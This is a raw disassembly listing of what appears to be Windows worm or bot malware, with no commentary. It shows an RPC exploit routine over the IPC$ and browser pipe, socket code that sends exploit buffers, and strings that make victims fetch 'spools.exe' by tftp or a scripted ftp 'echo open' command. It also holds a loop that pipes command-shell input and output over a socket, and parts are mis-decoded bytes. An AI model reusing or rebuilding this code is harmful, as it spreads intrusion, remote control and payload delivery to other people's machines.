push eax mov [ebp-4], eax call near ptr sub_41C9B0 mov eax, [ebp-4] push 15Ch add eax, 7 push offset dword_438F18 push eax call near ptr sub_41C9B0 mov eax, dword_439088[esi] add esp, 30h cmp byte_439090[esi], bl mov [ebp-4], eax jz short loc_40DEFE push 4 add eax, edi push offset dword_4D3F14 push eax call near ptr sub_41C9B0 add dword ptr [ebp-4], 0Ch mov esi, offset dword_4390A8 mov eax, [ebp-4] push 4 add eax, edi push esi push eax call near ptr sub_41C9B0 mov eax, [ebp-4] push 4 push esi lea eax, [eax+edi+24h] push eax mov [ebp-4], eax call near ptr sub_41C9B0 mov eax, [ebp-4] push 4 add eax, 0Ch push esi push eax call near ptr sub_41C9B0 add esp, 30h jmp short loc_40DF26 ; --------------------------------------------------------------------------- loc_40DEFE: ; CODE XREF: .nsp0:0040DEAFj add eax, edi mov dword ptr [ebp-0Ch], 10h mov [ebp-4], eax mov esi, offset dword_4390A8 loc_40DF0F: ; CODE XREF: .nsp0:0040DF24j push 4 push esi push dword ptr [ebp-4] call near ptr sub_41C9B0 add dword ptr [ebp-4], 4 add esp, 0Ch dec dword ptr [ebp-0Ch] jnz short loc_40DF0F loc_40DF26: ; CODE XREF: .nsp0:0040DEFCj mov eax, [ebp+0C4h] add eax, 42h push eax call sub_41BBCB mov esi, eax pop ecx cmp esi, ebx mov [ebp-0Ch], esi jnz short loc_40DF54 push dword ptr [ebp-8] call dword_42706C ; CloseHandle push edi call sub_41B961 pop ecx jmp loc_40DC8B ; --------------------------------------------------------------------------- loc_40DF54: ; CODE XREF: .nsp0:0040DF3Dj mov eax, [ebp+0C4h] add eax, 42h push eax push ebx push esi call sub_41BC40 lea eax, [ebp-74h] push 14h push eax push esi call near ptr sub_41C9B0 mov eax, [ebp+0C4h] mov [ebp-10h], ebx mov [ebp-14h], eax add esp, 10h fild qword ptr [ebp-14h] fmul flt_4276AC fstp qword ptr [esp] call sub_41CE5F call sub_41CE38 push dword ptr [ebp+0C4h] mov [esi+1Ch], eax mov [esi+18h], ebx mov eax, [esi+1Ch] mov [esi+14h], eax lea eax, [esi+20h] push edi push eax call near ptr sub_41C9B0 mov eax, [ebp+0C4h] add esp, 14h add eax, 20h test al, 3 mov [ebp-4], eax jz short loc_40DFCD loc_40DFC5: ; CODE XREF: .nsp0:0040DFC8j inc eax test al, 3 jnz short loc_40DFC5 mov [ebp-4], eax loc_40DFCD: ; CODE XREF: .nsp0:0040DFC3j lea ecx, [ebp-34h] push 1Ch add eax, esi push ecx push eax call near ptr sub_41C9B0 add dword ptr [ebp-4], 1Ch push edi call sub_41B961 push 18h lea eax, [ebp-4Ch] push ebx push eax call sub_41BC40 push 14h lea eax, [ebp-60h] push ebx push eax mov byte ptr [ebp-4Ch], 5 mov [ebp-4Bh], bl mov [ebp-4Ah], bl mov byte ptr [ebp-49h], 3 mov dword ptr [ebp-48h], 10h mov [ebp-42h], bx mov [ebp-40h], ebx mov [ebp-38h], bx mov word ptr [ebp-36h], 1Fh call sub_41BC40 add esp, 28h push ebx push ebx push 1 push ebx call near ptr 0B40000h out dx, al mov [ebp-50h], eax mov [ebp+0C7h], bl mov [ebp-10h], ebx loc_40E03D: ; CODE XREF: .nsp0:0040E107j cmp dword ptr [ebp-10h], 2 jge loc_40E112 push 1 push 10B8h push dword ptr [ebp-4] inc dword ptr [ebp-10h] push esi lea esi, [ebp-4Ch] sub esp, 18h push 6 pop ecx mov edi, esp push dword ptr [ebp-8] rep movsd call sub_40DAE4 add esp, 2Ch test al, al jz loc_40E10F cmp [ebp-50h], ebx jz near ptr loc_40E0FD+1 lea eax, [ebp-60h] push eax lea eax, [ebp-18h] push eax lea eax, [ebp-60E0h] push 2000h push eax push dword ptr [ebp-8] call dword_4270E8 ; ReadFile test eax, eax jnz short loc_40E0B0 call dword_42708C ; RtlGetLastWin32Error cmp eax, 3E5h jnz loc_40DC8B loc_40E0B0: ; CODE XREF: .nsp0:0040E09Dj push 3E8h push dword ptr [ebp-50h] call near ptr 0B40000h jle short loc_40E0FC add al, [ecx] ; --------------------------------------------------------------------------- db 2 dup(0), 75h dd 8D656A39h, 0EC810875h, 0BCh, 0C785C6h, 6A010000h, 0FC8B592Fh dd 6DE8A5F3h, 8B0000ACh, 0B085h, 0C0C48100h, 0C1000000h dd 80FF06E0h, 438050h, 8050808Dh ; --------------------------------------------------------------------------- loc_40E0FC: ; CODE XREF: .nsp0:0040E0BDj inc ebx loc_40E0FD: ; CODE XREF: .nsp0:0040E078j add [eax], bh popf mov dword ptr [eax], 758B0000h hlt ; --------------------------------------------------------------------------- jz loc_40E03D jmp short loc_40E112 ; --------------------------------------------------------------------------- loc_40E10F: ; CODE XREF: .nsp0:0040E06Fj mov esi, [ebp-0Ch] loc_40E112: ; CODE XREF: .nsp0:0040E041j ; .nsp0:0040E10Dj push dword ptr [ebp-8] mov edi, dword_42706C call edi ; dword_42706C push esi call sub_41B961 cmp [ebp-50h], ebx pop ecx jz short loc_40E12E push dword ptr [ebp-50h] call edi ; dword_42706C loc_40E12E: ; CODE XREF: .nsp0:0040E127j xor eax, eax cmp [ebp+0C7h], bl setnz al loc_40E139: ; CODE XREF: .nsp0:0040DC8Dj pop edi pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= sub_40E13E proc near ; CODE XREF: .nsp0:0040D7D2p arg_0 = byte ptr 4 push esi push edi push 0 lea esi, [esp+0Ch+arg_0] sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call loc_40DBD2 add esp, 0C0h test eax, eax push 1 jz short loc_40E167 pop eax jmp short loc_40E18C ; --------------------------------------------------------------------------- loc_40E167: ; CODE XREF: sub_40E13E+24j sub esp, 0BCh lea esi, [esp+0C8h+arg_0] push 2Fh pop ecx mov edi, esp rep movsd call loc_40DBD2 add esp, 0C0h neg eax sbb eax, eax neg eax loc_40E18C: ; CODE XREF: sub_40E13E+27j pop edi pop esi retn sub_40E13E endp ; =============== S U B R O U T I N E ======================================= sub_40E18F proc near ; CODE XREF: sub_40E62B+35p var_230 = byte ptr -230h var_210 = byte ptr -210h var_1F0 = byte ptr -1F0h var_1D0 = byte ptr -1D0h var_1B0 = byte ptr -1B0h var_190 = byte ptr -190h var_170 = byte ptr -170h var_150 = byte ptr -150h var_130 = byte ptr -130h var_110 = byte ptr -110h var_F0 = byte ptr -0F0h var_D0 = byte ptr -0D0h var_B0 = byte ptr -0B0h var_90 = byte ptr -90h var_70 = byte ptr -70h var_50 = byte ptr -50h var_30 = byte ptr -30h var_20 = dword ptr -20h var_10 = byte ptr -10h var_E = word ptr -0Eh var_8 = dword ptr -8 arg_136F8 = byte ptr 136FCh arg_13720 = dword ptr 13724h arg_13864 = byte ptr 13868h arg_1388C = byte ptr 13890h arg_13924 = dword ptr 13928h mov eax, 13894h call sub_41C1D0 push ebx push ebp push esi push edi xor edi, edi push edi push 1 push 2 call dword_42721C ; socket mov esi, eax lea eax, [esp+1Ch+arg_1388C] push eax mov word ptr [esp+20h+var_8], 2 call dword_427230 ; inet_addr push [esp+20h+arg_13924] mov [esp+24h+var_8], eax call dword_427208 ; ntohs mov [esp+24h+var_E], ax lea eax, [esp+24h+var_10] push 10h push eax push esi call dword_42720C ; connect test eax, eax jge short loc_40E1F0 loc_40E1E9: ; CODE XREF: sub_40E18F+275j xor eax, eax jmp loc_40E620 ; --------------------------------------------------------------------------- loc_40E1F0: ; CODE XREF: sub_40E18F+58j lea eax, [esp+30h+var_20] push 4 push eax push 1006h push 0FFFFh push esi mov [esp+44h+var_20], 1388h call dword_427210 ; setsockopt lea eax, [esp+44h+arg_13864] push 1 push eax call sub_41852C pop ecx cmp eax, 2 pop ecx jz loc_40E409 cmp eax, 1 jz loc_40E409 mov ebx, dword_427220 push edi push 48h push offset aB ; "" push esi call ebx ; dword_427220 mov ebp, dword_427214 push edi mov edi, 13880h lea eax, [esp+58h+var_30] push edi push eax push esi call ebp ; dword_427214 push 0 push 58h push offset dword_43917C push esi call ebx ; dword_427220 push 0 lea eax, [esp+78h+var_50] push edi push eax push esi call ebp ; dword_427214 push 0 push 0B0h push offset dword_4391D8 push esi call ebx ; dword_427220 push 0 lea eax, [esp+98h+var_70] push edi push eax push esi call ebp ; dword_427214 push 0 push 0F6h push offset dword_43928C push esi call ebx ; dword_427220 push 0 lea eax, [esp+0B8h+var_90] push edi push eax push esi call ebp ; dword_427214 push 0 push 3Eh push offset dword_439384 push esi call ebx ; dword_427220 push 0 lea eax, [esp+0D8h+var_B0] push edi push eax push esi call ebp ; dword_427214 push 0 push 60h push offset dword_4393C4 push esi call ebx ; dword_427220 push 0 lea eax, [esp+0F8h+var_D0] push edi push eax push esi call ebp ; dword_427214 push 0 push 96h push offset dword_439428 push esi call ebx ; dword_427220 push 0 lea eax, [esp+118h+var_F0] push edi push eax push esi call ebp ; dword_427214 push 0 push 15Bh push offset dword_4394C0 push esi call ebx ; dword_427220 push 0 lea eax, [esp+138h+var_110] push edi push eax push esi call ebp ; dword_427214 push 0 push 15Bh push offset dword_43961C push esi call ebx ; dword_427220 push 0 lea eax, [esp+158h+var_130] push edi push eax push esi call ebp ; dword_427214 push 0 push 15Bh push offset dword_439778 push esi call ebx ; dword_427220 push 0 lea eax, [esp+178h+var_150] push edi push eax push esi call ebp ; dword_427214 push 0 push 6Ah push offset dword_4398D4 push esi call ebx ; dword_427220 push 0 lea eax, [esp+198h+var_170] push edi push eax push esi call ebp ; dword_427214 test eax, eax jz loc_40E5E4 cmp eax, 0FFFFFFFFh jz loc_40E5E4 push 0 push 15Bh push offset dword_4394C0 push esi call ebx ; dword_427220 push 0 lea eax, [esp+1B8h+var_190] push edi push eax push esi call ebp ; dword_427214 push 0 push 15Bh push offset dword_43961C push esi call ebx ; dword_427220 push 0 lea eax, [esp+1D8h+var_1B0] push edi push eax push esi call ebp ; dword_427214 push 0 push 15Bh push offset dword_439778 push esi call ebx ; dword_427220 push 0 lea eax, [esp+1F8h+var_1D0] push edi push eax push esi call ebp ; dword_427214 push 0 push 6Ah push offset dword_4398D4 push esi call ebx ; dword_427220 push 1387Fh lea eax, [esp+218h+var_1F0] push 0 push eax call sub_41BC40 add esp, 0Ch loc_40E3D0: ; CODE XREF: sub_40E18F+450j push 0 lea eax, [esp+218h+var_1F0] push edi push eax push esi call ebp ; dword_427214 test eax, eax jz loc_40E5E4 cmp eax, 0FFFFFFFFh jz loc_40E5E4 cmp [esp+224h+arg_13720], 8Bh push esi jnz loc_40E5E5 call dword_427218 ; closesocket jmp loc_40E1E9 ; --------------------------------------------------------------------------- loc_40E409: ; CODE XREF: sub_40E18F+95j ; sub_40E18F+9Ej mov ebx, dword_427220 push edi push 48h push offset unk_439940 push esi call ebx ; dword_427220 mov ebp, dword_427214 push edi mov edi, 13880h lea eax, [esp+58h+var_30] push edi push eax push esi call ebp ; dword_427214 push 0 push 58h push offset dword_43998C push esi call ebx ; dword_427220 push 0 lea eax, [esp+78h+var_50] push edi push eax push esi call ebp ; dword_427214 push 0 push 0B0h push offset dword_4399E8 push esi call ebx ; dword_427220 push 0 lea eax, [esp+98h+var_70] push edi push eax push esi call ebp ; dword_427214 push 0 push 0F6h push offset dword_439A9C push esi call ebx ; dword_427220 push 0 lea eax, [esp+0B8h+var_90] push edi push eax push esi call ebp ; dword_427214 push 0 push 66h push offset dword_439B94 push esi call ebx ; dword_427220 push 0 lea eax, [esp+0D8h+var_B0] push edi push eax push esi call ebp ; dword_427214 push 0 push 3Eh push offset dword_439BFC push esi call ebx ; dword_427220 push 0 lea eax, [esp+0F8h+var_D0] push edi push eax push esi call ebp ; dword_427214 push 0 push 60h push offset dword_439C3C push esi call ebx ; dword_427220 push 0 lea eax, [esp+118h+var_F0] push edi push eax push esi call ebp ; dword_427214 push 0 push 96h push offset dword_439CA0 push esi call ebx ; dword_427220 push 0 lea eax, [esp+138h+var_110] push edi push eax push esi call ebp ; dword_427214 push 0 push 15Bh push offset dword_439D38 push esi call ebx ; dword_427220 push 0 lea eax, [esp+158h+var_130] push edi push eax push esi call ebp ; dword_427214 push 0 push 15Bh push offset dword_439E94 push esi call ebx ; dword_427220 push 0 lea eax, [esp+178h+var_150] push edi push eax push esi call ebp ; dword_427214 push 0 push 15Bh push offset dword_439FF0 push esi call ebx ; dword_427220 push 0 lea eax, [esp+198h+var_170] push edi push eax push esi call ebp ; dword_427214 push 0 push 15Bh push offset dword_43A14C push esi call ebx ; dword_427220 push 0 lea eax, [esp+1B8h+var_190] push edi push eax push esi call ebp ; dword_427214 push 0 push 0CEh push offset dword_43A2A8 push esi call ebx ; dword_427220 push 0 lea eax, [esp+1D8h+var_1B0] push edi push eax push esi call ebp ; dword_427214 test eax, eax jz loc_40E5E4 cmp eax, 0FFFFFFFFh jz short loc_40E5E4 push 0 push 15Bh push offset dword_439D38 push esi call ebx ; dword_427220 push 0 lea eax, [esp+1F8h+var_1D0] push edi push eax push esi call ebp ; dword_427214 push 0 push 15Bh push offset dword_439E94 push esi call ebx ; dword_427220 push 0 lea eax, [esp+218h+var_1F0] push edi push eax push esi call ebp ; dword_427214 push 0 push 15Bh push offset dword_439FF0 push esi call ebx ; dword_427220 push 0 lea eax, [esp+238h+var_210] push edi push eax push esi call ebp ; dword_427214 push 0 push 15Bh push offset dword_43A14C push esi call ebx ; dword_427220 push 0 lea eax, [esp+258h+var_230] push edi push eax push esi call ebp ; dword_427214 push 0 push 0CEh push offset dword_43A2A8 push esi call ebx ; dword_427220 jmp loc_40E3D0 ; --------------------------------------------------------------------------- loc_40E5E4: ; CODE XREF: sub_40E18F+1C4j ; sub_40E18F+1CDj ... push esi loc_40E5E5: ; CODE XREF: sub_40E18F+269j call dword_427218 ; closesocket push 7D0h call dword_427064 ; Sleep push 0BEEFh lea esi, [esp+1B0h+arg_136F8] sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_418D50 add esp, 0C0h neg al sbb eax, eax neg eax loc_40E620: ; CODE XREF: sub_40E18F+5Cj pop edi pop esi pop ebp pop ebx add esp, 13894h retn sub_40E18F endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E62B proc near ; CODE XREF: .nsp0:0040D7EAp var_200 = byte ptr -200h arg_0 = byte ptr 8 arg_A0 = dword ptr 0A8h arg_A8 = dword ptr 0B0h push ebp mov ebp, esp sub esp, 200h push esi xor esi, esi cmp [ebp+arg_A0], 8Bh push edi jz short loc_40E650 cmp [ebp+arg_A0], 1BDh jnz short loc_40E693 loc_40E650: ; CODE XREF: sub_40E62B+17j sub esp, 0BCh lea esi, [ebp+arg_0] push 2Fh pop ecx mov edi, esp rep movsd call sub_40E18F mov esi, eax add esp, 0BCh test esi, esi jz short loc_40E693 lea eax, [ebp+var_200] push eax call sub_4157A6 mov eax, [ebp+arg_A8] pop ecx shl eax, 6 inc dword_438050[eax] lea eax, dword_438050[eax] loc_40E693: ; CODE XREF: sub_40E62B+23j ; sub_40E62B+44j mov eax, esi pop edi pop esi leave retn sub_40E62B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E699 proc near ; CODE XREF: sub_40E7D2+24Ep var_5A0 = byte ptr -5A0h var_1A0 = byte ptr -1A0h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_BC = dword ptr 0C4h push ebp mov ebp, esp sub esp, 5A0h push ebx push esi push edi xor esi, esi push 10h lea eax, [ebp+var_10] push esi push eax call sub_41BC40 add esp, 0Ch lea eax, [ebp+arg_4] mov [ebp+var_10], 2 push eax call dword_4D1230 ; inet_addr push [ebp+arg_BC] mov [ebp+var_C], eax call dword_4D11F0 ; ntohs push esi push 1 push 2 mov [ebp+var_E], ax call dword_4D1270 ; socket mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_40E7AB lea eax, [ebp+var_10] push 10h push eax push ebx call dword_4D1198 ; connect cmp eax, 0FFFFFFFFh jz loc_40E7AB push esi lea eax, [ebp+var_5A0] push 400h push eax push ebx call dword_4D1208 ; recv mov esi, offset aSpools_exe ; "spools.exe" push esi push esi push [ebp+arg_0] call sub_40AB6A pop ecx mov edi, 190h push eax push offset aTftpISGetS ; "tftp -i %s get %s\r\n" lea eax, [ebp+var_1A0] push edi push eax call sub_41C030 add esp, 18h lea eax, [ebp+var_1A0] push 0 push eax call sub_41B890 pop ecx push eax lea eax, [ebp+var_1A0] push eax push ebx call dword_4D1240 ; send cmp eax, 0FFFFFFFFh jz short loc_40E7AB push 1F4h call dword_427064 ; Sleep push esi push offset dword_430C18 lea eax, [ebp+var_1A0] push edi push eax call sub_41C030 add esp, 10h lea eax, [ebp+var_1A0] push 0 push eax call sub_41B890 pop ecx push eax lea eax, [ebp+var_1A0] push eax push ebx call dword_4D1240 ; send cmp eax, 0FFFFFFFFh jnz short loc_40E7AF loc_40E7AB: ; CODE XREF: sub_40E699+50j ; sub_40E699+66j ... xor al, al jmp short loc_40E7CD ; --------------------------------------------------------------------------- loc_40E7AF: ; CODE XREF: sub_40E699+110j push 0 lea eax, [ebp+var_5A0] push 400h push eax push ebx call dword_4D1208 ; recv push ebx call dword_4D1288 ; closesocket mov al, 1 loc_40E7CD: ; CODE XREF: sub_40E699+114j pop edi pop esi pop ebx leave retn sub_40E699 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E7D2 proc near ; CODE XREF: sub_40EA50+16p ; sub_40EA50+39p var_72E38B40 = dword ptr -72E38B40h var_1D24 = byte ptr -1D24h var_D24 = byte ptr -0D24h var_CF8 = byte ptr -0CF8h var_CF4 = byte ptr -0CF4h var_CF0 = byte ptr -0CF0h var_CEC = byte ptr -0CECh var_A28 = byte ptr -0A28h var_A24 = byte ptr -0A24h var_4F4 = byte ptr -4F4h var_3F0 = byte ptr -3F0h var_2EC = byte ptr -2ECh var_88 = byte ptr -88h var_84 = byte ptr -84h var_7C = byte ptr -7Ch var_78 = byte ptr -78h var_58 = byte ptr -58h var_54 = byte ptr -54h var_4C = byte ptr -4Ch var_48 = byte ptr -48h var_28 = byte ptr -28h var_24 = dword ptr -24h var_18 = dword ptr -18h var_14 = dword ptr -14h var_C = dword ptr -0Ch var_8 = byte ptr -8 arg_0 = byte ptr 8 arg_4 = byte ptr 0Ch arg_A8 = dword ptr 0B0h push ebp mov ebp, esp mov eax, 1D24h call sub_41C1D0 push ebx push esi push edi push 830h lea eax, [ebp+var_D24] push 0 push eax call sub_41BC40 push 264h lea eax, [ebp+var_2EC] push 0FFFFFF90h push eax call sub_41BC40 push 15Bh lea eax, [ebp+var_2EC] push offset dword_43A414 push eax call near ptr sub_41C9B0 push 4 lea eax, [ebp+var_88] pop ebx push ebx push offset dword_43A5DC push eax call near ptr sub_41C9B0 push 8 lea eax, [ebp+var_84] push 41h push eax call sub_41BC40 mov esi, offset dword_43A5D4 push ebx lea eax, [ebp+var_7C] push esi push eax call near ptr sub_41C9B0 add esp, 48h lea eax, [ebp+var_78] push 20h push 0FFFFFF90h push eax call sub_41BC40 push ebx lea eax, [ebp+var_58] push esi push eax call near ptr sub_41C9B0 push 8 lea eax, [ebp+var_54] push 42h push eax call sub_41BC40 push ebx lea eax, [ebp+var_4C] push esi push eax call near ptr sub_41C9B0 push 20h lea eax, [ebp+var_48] push 0FFFFFF90h push eax call sub_41BC40 push 2Ch lea eax, [ebp+var_D24] push offset dword_43A3C4 push eax call near ptr sub_41C9B0 add esp, 48h mov edi, offset dword_43A5CC lea eax, [ebp+var_CF8] push ebx push edi push eax call near ptr sub_41C9B0 mov esi, offset dword_4D3F1C push ebx lea eax, [ebp+var_CF4] push esi push eax call near ptr sub_41C9B0 push ebx lea eax, [ebp+var_CF0] push edi push eax call near ptr sub_41C9B0 lea eax, [ebp+var_2EC] push 2C4h push eax lea eax, [ebp+var_CEC] push eax call near ptr sub_41C9B0 push ebx lea eax, [ebp+var_A28] push esi push eax call near ptr sub_41C9B0 push 1Ch lea eax, [ebp+var_A24] push offset dword_43A3F4 push eax call near ptr sub_41C9B0 add esp, 48h lea eax, [ebp+arg_4] mov edi, 104h push eax push offset aSIpc ; "\\\\%s\\ipc$" lea eax, [ebp+var_3F0] push edi push eax call sub_41C030 lea eax, [ebp+var_3F0] add esp, 10h xor esi, esi mov [ebp+var_14], eax mov eax, offset byte_443398 push esi push eax push eax lea eax, [ebp+var_28] mov [ebp+var_24], esi push eax mov [ebp+var_18], esi mov [ebp+var_C], esi call sub_41B888 test eax, eax jz short loc_40E972 push offset aFailedToConnec ; "[-] Failed to connect to host !\n" call sub_41D88C pop ecx loc_40E96B: ; CODE XREF: sub_40E7D2+1D6j ; sub_40E7D2+229j ... xor eax, eax loc_40E96D: ; CODE XREF: sub_40E7D2+279j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_40E972: ; CODE XREF: sub_40E7D2+18Cj lea eax, [ebp+arg_4] push eax push offset aSPipeBrowser ; "\\\\%s\\pipe\\browser" lea eax, [ebp+var_4F4] push edi push eax call sub_41C030 add esp, 10h lea eax, [ebp+var_4F4] push esi push esi push 3 push esi push esi push 0C0000000h push eax call dword_4270EC ; CreateFileA mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_40E96B push offset aBindingToRpcIn ; "[+] Binding to RPC interface ... \n" call sub_41D88C pop ecx lea eax, [ebp+var_8] push esi push eax lea eax, [ebp+var_1D24] push 1000h push eax push 49h push offset dword_43A378 push edi call near ptr 0B40000h or [ebp+var_72E38B40], eax inc ebp cld push esi push eax lea eax, [ebp+var_D24] push 830h push eax push edi call near ptr 0B40000h db 64h test eax, eax jnz short loc_40EA00 push edi call dword_42706C ; CloseHandle jmp loc_40E96B ; --------------------------------------------------------------------------- loc_40EA00: ; CODE XREF: sub_40E7D2+220j push 0FAh call dword_427064 ; Sleep push 115Ch lea esi, [ebp+arg_0] sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_40E699 add esp, 0C0h test al, al jz loc_40E96B mov eax, [ebp+arg_A8] push 1 shl eax, 6 inc dword_438050[eax] lea eax, dword_438050[eax] pop eax jmp loc_40E96D sub_40E7D2 endp ; =============== S U B R O U T I N E ======================================= sub_40EA50 proc near ; CODE XREF: .nsp0:0040D802p arg_0 = byte ptr 4 push esi push edi sub esp, 0BCh lea esi, [esp+0C4h+arg_0] push 2Fh pop ecx mov edi, esp rep movsd call sub_40E7D2 add esp, 0BCh test eax, eax jnz short loc_40EA9C sub esp, 0BCh lea esi, [esp+0C4h+arg_0] push 2Fh pop ecx mov edi, esp rep movsd call sub_40E7D2 add esp, 0BCh neg eax sbb eax, eax neg eax jmp short loc_40EA9F ; --------------------------------------------------------------------------- loc_40EA9C: ; CODE XREF: sub_40EA50+23j push 1 pop eax loc_40EA9F: ; CODE XREF: sub_40EA50+4Aj pop edi pop esi retn sub_40EA50 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EAA2 proc near ; CODE XREF: sub_40EB90+91p var_5A0 = byte ptr -5A0h var_1A0 = byte ptr -1A0h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_BC = dword ptr 0C4h push ebp mov ebp, esp sub esp, 5A0h push ebx push esi push edi xor esi, esi push 10h lea eax, [ebp+var_10] push esi push eax call sub_41BC40 add esp, 0Ch lea eax, [ebp+arg_4] mov [ebp+var_10], 2 push eax call dword_427230 ; inet_addr push [ebp+arg_BC] mov [ebp+var_C], eax call dword_427208 ; ntohs push esi push 1 push 2 mov [ebp+var_E], ax call dword_42721C ; socket mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_40EB70 lea eax, [ebp+var_10] push 10h push eax push ebx call dword_42720C ; connect cmp eax, 0FFFFFFFFh jz short loc_40EB70 mov edi, 400h push esi mov esi, dword_427214 lea eax, [ebp+var_5A0] push edi push eax push ebx call esi ; dword_427214 mov eax, offset aSpools_exe ; "spools.exe" push eax push eax push dword_4D0F20 push [ebp+arg_0] call sub_40AB6A pop ecx push eax push offset aCmdKEchoOpen_0 ; "cmd /k echo open %s %d >> ii &echo user"... lea eax, [ebp+var_1A0] push 190h push eax call sub_41C030 add esp, 1Ch lea eax, [ebp+var_1A0] push 0 push eax call sub_41B890 pop ecx push eax lea eax, [ebp+var_1A0] push eax push ebx call dword_427220 ; send cmp eax, 0FFFFFFFFh jnz short loc_40EB74 loc_40EB70: ; CODE XREF: sub_40EAA2+50j ; sub_40EAA2+62j xor eax, eax jmp short loc_40EB8B ; --------------------------------------------------------------------------- loc_40EB74: ; CODE XREF: sub_40EAA2+CCj push 0 lea eax, [ebp+var_5A0] push edi push eax push ebx call esi ; dword_427214 push ebx call dword_427218 ; closesocket push 1 pop eax loc_40EB8B: ; CODE XREF: sub_40EAA2+D0j pop edi pop esi pop ebx leave retn sub_40EAA2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EB90 proc near ; CODE XREF: sub_40C034+1E6p ; DATA XREF: .nsp0:off_43804Co var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = byte ptr 8 arg_4 = byte ptr 0Ch arg_A0 = dword ptr 0A8h arg_A8 = dword ptr 0B0h push ebp mov ebp, esp sub esp, 10h push esi lea eax, [ebp+arg_4] push edi push eax mov [ebp+var_10], 2 call dword_4D1230 ; inet_addr push [ebp+arg_A0] mov [ebp+var_C], eax call dword_4D11F0 ; ntohs push 6 push 1 push 2 mov [ebp+var_E], ax call dword_42721C ; socket mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_40EC02 lea eax, [ebp+var_10] push 10h push eax push esi call dword_42720C ; connect cmp eax, 0FFFFFFFFh jnz short loc_40EBE3 push esi jmp short loc_40EBFC ; --------------------------------------------------------------------------- loc_40EBE3: ; CODE XREF: sub_40EB90+4Ej push 0 push 1213h push offset dword_43A5E4 push esi call dword_427220 ; send cmp eax, 0FFFFFFFFh push esi jnz short loc_40EC06 loc_40EBFC: ; CODE XREF: sub_40EB90+51j call dword_427218 ; closesocket loc_40EC02: ; CODE XREF: sub_40EB90+3Cj xor eax, eax jmp short loc_40EC48 ; --------------------------------------------------------------------------- loc_40EC06: ; CODE XREF: sub_40EB90+6Aj call dword_427218 ; closesocket push 216Bh lea esi, [ebp+arg_0] sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_40EAA2 add esp, 0C0h test eax, eax jz short loc_40EC45 mov eax, [ebp+arg_A8] shl eax, 6 inc dword_438050[eax] lea eax, dword_438050[eax] loc_40EC45: ; CODE XREF: sub_40EB90+9Ej push 1 pop eax loc_40EC48: ; CODE XREF: sub_40EB90+74j pop edi pop esi leave retn sub_40EB90 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 404h loc_40EC55: ; CODE XREF: .nsp0:0040EC71j ; .nsp0:0040EC8Dj push 0 lea eax, [ebp-404h] push 400h push eax push dword_4D3F34 call dword_4D1208 ; recv test eax, eax jle short loc_40EC55 lea ecx, [ebp-4] push 0 push ecx push eax lea eax, [ebp-404h] push eax push dword_4D3F30 call near ptr 0B40000h inc esi jmp short loc_40EC55 ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 404h loc_40EC98: ; CODE XREF: .nsp0:0040ECBEj ; .nsp0:0040ECD8j lea eax, [ebp-4] and dword ptr [ebp-4], 0 push 0 push eax lea eax, [ebp-404h] push 400h push eax push dword_4D3F24 call dword_4270E8 ; ReadFile cmp dword ptr [ebp-4], 0 jle short loc_40EC98 push 0 lea eax, [ebp-404h] push dword ptr [ebp-4] push eax push dword_4D3F34 call dword_4D1240 ; send jmp short loc_40EC98 ; --------------------------------------------------------------------------- word_40ECDA dw 8B55h ; DATA XREF: .nsp0:00404804o dword_40ECDC dd 1CEC81ECh, 8B000001h, 56530845h, 8B286A57h, 0BD8D59F0h dd 0FFFFFEE4h, 16AA5F3h, 895EFF33h, 98B0h, 8D106A00h, 5057C845h dd 0CF33E8h, 0CC48300h, 0C845C766h, 0B5FF0002h, 0FFFFFF68h dd 11F015FFh, 66A004Dh, 66026A56h, 0FFCA4589h, 4D127015h dd 8458900h, 6AC8458Dh, 75FF5010h, 1C15FF08h, 6A004D12h dd 875FF05h, 121815FFh, 1D8B004Dh, 427100h, 706C358Bh dd 57570042h, 0FF0875FFh, 4D128415h, 3F34A300h, 458D004Dh dd 685057F4h, 4D3F30h, 4D3F2C68h, 0F445C700h, 0Ch, 1FC45C7h dd 89000000h, 0D3FFF87Dh, 57F4458Dh, 3F286850h, 2468004Dh dd 0FF004D3Fh, 8D446AD3h, 50578445h, 0CE97E8h, 3F2CA100h dd 0C483004Dh, 0BC45890Ch, 4D3F28A1h, 0C0458900h, 8D016A57h dd 26AC445h, 8445C750h, 44h, 1B045C7h, 66000001h, 0E8B47D89h dd 731224h, 35FF5015h, 4D3F28h, 731217E8h, 0E8505C00h dd 731210h, 0D8458DE0h, 84458D50h, 68575750h, 4000090h dd 6AF4458Dh, 458D5001h, 6C6850F4h, 570043B8h, 7311EBE8h dd 458DF500h, 575750E8h, 40EC8F68h, 0F4458D00h, 15FF5057h dd 42707Ch, 8DEC4589h, 5750E845h, 0EC4C6857h, 458D0040h dd 0FF5057F4h, 42707C15h, 89FF6A00h, 75FFF045h, 11AEE8D8h dd 57830073h, 0E8F075FFh, 7311A4h, 75FF5798h, 119AE8ECh dd 0FFA90073h, 0D6FFF075h, 0FFEC75FFh, 75FF57D6h, 1186E8D8h dd 0FFD40073h, 4D3F2C35h, 0FFD6FF00h, 4D3F3035h, 0FFD6FF00h dd 4D3F2435h, 0FFD6FF00h, 4D3F2835h, 0FFD6FF00h, 0D6FFDC75h dd 